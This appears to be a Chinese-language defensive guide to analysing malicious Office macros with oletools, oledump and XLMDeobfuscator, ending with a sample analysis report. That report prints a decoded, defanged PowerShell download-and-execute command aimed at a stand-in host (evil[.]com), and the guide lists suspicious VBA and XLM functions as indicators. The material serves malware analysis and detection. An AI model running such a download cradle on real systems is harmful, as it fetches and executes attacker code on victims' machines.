killvxk 分析 Office 文档中的宏恶意软件
适用场景
- 一个可疑的 Office 文档（.doc、.docm、.xls、.xlsm、.ppt）被电子邮件安全系统标记
- 调查投递武器化 Office 文档的钓鱼攻击活动
- 提取 VBA 宏代码以识别载荷下载 URL 和执行方法
- 分析混淆的 VBA 代码以了解完整的攻击链
- 确定文档是否使用 DDE、ActiveX 或远程模板注入而非宏
不适用于分析非宏 Office 威胁（DDE、远程模板注入）；虽然本技能涵盖这些检测，但可能需要专门分析。
前置条件
- Python 3.8+，安装 oletools（
pip install oletools） - Didier Stevens 的 oledump.py
- 未安装 Microsoft Office 的隔离分析虚拟机（防止意外执行）
- XLMDeobfuscator 用于 Excel 4.0 宏分析（pip install xlmdeobfuscator）
- LibreOffice 用于安全文档渲染（默认不执行 VBA 宏）
工作流程
步骤 1：文档初始分类
确定文档是否包含宏或其他活动内容：
# 使用 olevba 快速分类
olevba suspect.docm
# 检查 OLE 流和宏
oleid suspect.docm
# 输出指标：
# VBA 宏： True/False
# XLM 宏： True/False
# 外部关系： True/False（远程模板）
# ObjectPool： True/False（嵌入对象）
# Flash： True/False（SWF 对象）
# 综合 OLE 分析
oledump.py suspect.docm
# 列出所有带宏指示符的 OLE 流
# 标记为 'M' 的流包含 VBA 宏
# 标记为 'm' 的流包含宏属性
步骤 2：提取和分析 VBA 代码
提取完整的 VBA 宏源代码：
# 使用完整去混淆提取 VBA
olevba --decode --deobf suspect.docm
# 仅提取 VBA 源代码
olevba --code suspect.docm > extracted_vba.txt
# 使用 oledump 详细提取
oledump.py -s 8 -v suspect.docm # 流 8（根据流列表调整）
# 提取所有宏流
oledump.py -p plugin_vba_dco suspect.docm
需要识别的关键 VBA 元素：
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自动执行触发器：
- Auto_Open / AutoOpen（Word）
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open（Excel）
- AutoExec
可疑函数：
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell 执行
- URLDownloadToFile
- MSXML2.XMLHTTP（HTTP 请求）
- ADODB.Stream（文件写入）
- Environ()（环境变量）
- CallByName（间接方法调用）
步骤 3：VBA 代码去混淆
去除混淆层以揭示载荷：
# VBA 去混淆技术
import re
def deobfuscate_vba(code):
# 1. 解析 Chr() 调用：Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. 去除字符串拼接："htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. 解析 ChrW 调用：ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. 解析 StrReverse：StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. 去除 Mid$/Left$/Right$ 混淆（复杂，标记为需要手动审查）
# 6. 解析 Replace()：Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
步骤 4：分析 Excel 4.0（XLM）宏
处理绕过 VBA 检测的旧版 Excel 宏：
# 检测 XLM 宏
olevba --xlm suspect.xlsm
# 去混淆 XLM 宏
xlmdeobfuscator -f suspect.xlsm
# 使用 oledump 手动 XLM 分析
oledump.py suspect.xlsm -p plugin_biff.py
# 需要关注的 XLM（Excel 4.0）宏函数：
# EXEC() - 执行 shell 命令
# CALL() - 调用 DLL 函数
# REGISTER() - 注册 DLL 函数
# URLDownloadToFileA - 下载文件
# ALERT() - 显示消息（社会工程学）
# HALT() - 停止执行
# GOTO() - 控制流
# IF() - 条件执行
步骤 5：检查非宏攻击向量
检查文档中的 DDE、远程模板和嵌入对象：
# 检查 DDE（动态数据交换）
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE 字段代码
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] 在 {name} 中发现 DDE')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' 命令：{m}')
# 远程模板
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] 远程模板 URL：{url}')
"
# 检查嵌入的 OLE 对象
oledump.py -p plugin_msg.py suspect.docm
# 检查外部引用关系
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'{name} 中的外部引用：')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
步骤 6：生成分析报告
记录完整的宏恶意软件分析：
报告应包含：
- 文档元数据（作者、创建日期、修改日期）
- 宏存在情况和类型（VBA、XLM、DDE、远程模板）
- 识别的自动执行触发器
- 去混淆后的 VBA 源代码（关键函数）
- 第二阶段载荷的下载 URL
- 执行方法（Shell、WScript、PowerShell、COM 对象）
- 社会工程学诱饵描述
- 提取的 IOC（URL、域名、IP、文件哈希）
- 针对特定文档模式的 YARA 规则
核心概念
| 术语 | 定义 |
|---|---|
| VBA 宏 | 嵌入在 Office 文档中的 Visual Basic for Applications 代码，可与操作系统交互、下载文件和执行命令 |
| Auto_Open | VBA 事件过程，在 Word 文档打开时自动执行，是宏恶意软件的主要触发器 |
| OLE（对象链接和嵌入） | Microsoft 复合文档格式；Office 文档是 OLE 容器，包含可存储宏和对象的流 |
| DDE（动态数据交换） | 被文档滥用于无需宏即可执行命令的旧版 Windows IPC 机制；由字段代码更新触发 |
| 远程模板注入 | 当文档打开时从远程 URL 加载启用宏的模板的攻击，绕过初始宏检测 |
| XLM 宏（Excel 4.0） | 先于 VBA 的旧版 Excel 宏语言；存储在隐藏工作表中，传统 VBA 分析工具常常遗漏 |
| 受保护视图 | Office 沙箱，防止宏执行直到用户点击"启用内容"；社会工程学针对此屏障 |
工具与系统
- oletools（olevba）：用于分析 OLE 文件、提取 VBA 宏以及检测可疑关键词和 IOC 的 Python 工具包
- oledump.py：Didier Stevens 的工具，支持插件的 OLE 流分析，用于 VBA 解压和提取
- XLMDeobfuscator：专为去混淆 Excel 4.0（XLM）宏公式设计的工具
- ViperMonkey：VBA 模拟引擎，在沙箱环境中执行 VBA 宏以观察行为
- YARA：使用 VBA 字符串模式和 OLE 结构指标进行基于文档的恶意软件检测
常见场景
场景：分析带有混淆 VBA 宏的钓鱼文档
场景背景：多名员工收到附有 .docm 文件的电子邮件，声称是发票。文档提示用户"启用内容"以查看完整文档。
方法：
- 运行 oleid 确认存在 VBA 宏并识别自动执行触发器
- 使用 olevba --decode --deobf 提取 VBA 代码进行初步去混淆
- 识别自动执行入口点（Auto_Open 或 Document_Open）
- 从入口点通过辅助函数追踪执行流
- 去混淆字符串拼接和 Chr() 编码以揭示下载 URL
- 识别下载方法（WScript.Shell、MSXML2.XMLHTTP、PowerShell）
- 提取所有 IOC 并为特定混淆模式创建 YARA 规则
常见陷阱：
- 在 Microsoft Office 中打开文档进行"快速分析"而不使用命令行工具
- 遗漏存储在 UserForms 中的 VBA 代码（GUI 元素的事件处理程序中可能包含代码）
- 忽略文档元数据，其中可能包含攻击者指纹（作者名、模板名）
- 不检查同一文档中是否同时存在 VBA 和 XLM 宏（某些恶意软件两者兼用）
输出格式
Office 宏恶意软件分析
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文档： invoice_q3_2025.docm
SHA-256： e3b0c44298fc1c149afbf4c8996fb924...
文件类型： Microsoft Word 文档（带宏的 OOXML）
作者： Administrator
创建日期： 2025-09-10 14:23:00
宏分析
类型： VBA 宏
触发器： AutoOpen()
流： 3 个 VBA 流（ThisDocument、Module1、Module2）
去混淆后的执行链
1. AutoOpen() -> 调用 Module1.RunPayload()
2. RunPayload() 通过 Chr() 拼接构建命令字符串
3. 命令：powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. 解码：IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
社会工程学诱饵
- 文档显示伪造的"受保护文档"图像
- 指示用户"启用内容"以查看文档
- 内容被模糊/隐藏直到宏执行
提取的 IOC
下载 URL： hxxp://evil[.]com/payload.ps1
C2 域名： evil[.]com
IP 地址： 185.220.101[.]42
User-Agent： PowerShell（默认 WebClient）
MITRE ATT&CK
T1566.001 钓鱼：鱼叉式钓鱼附件
T1204.002 用户执行：恶意文件
T1059.001 命令和脚本解释器：PowerShell
T1059.005 命令和脚本解释器：Visual Basic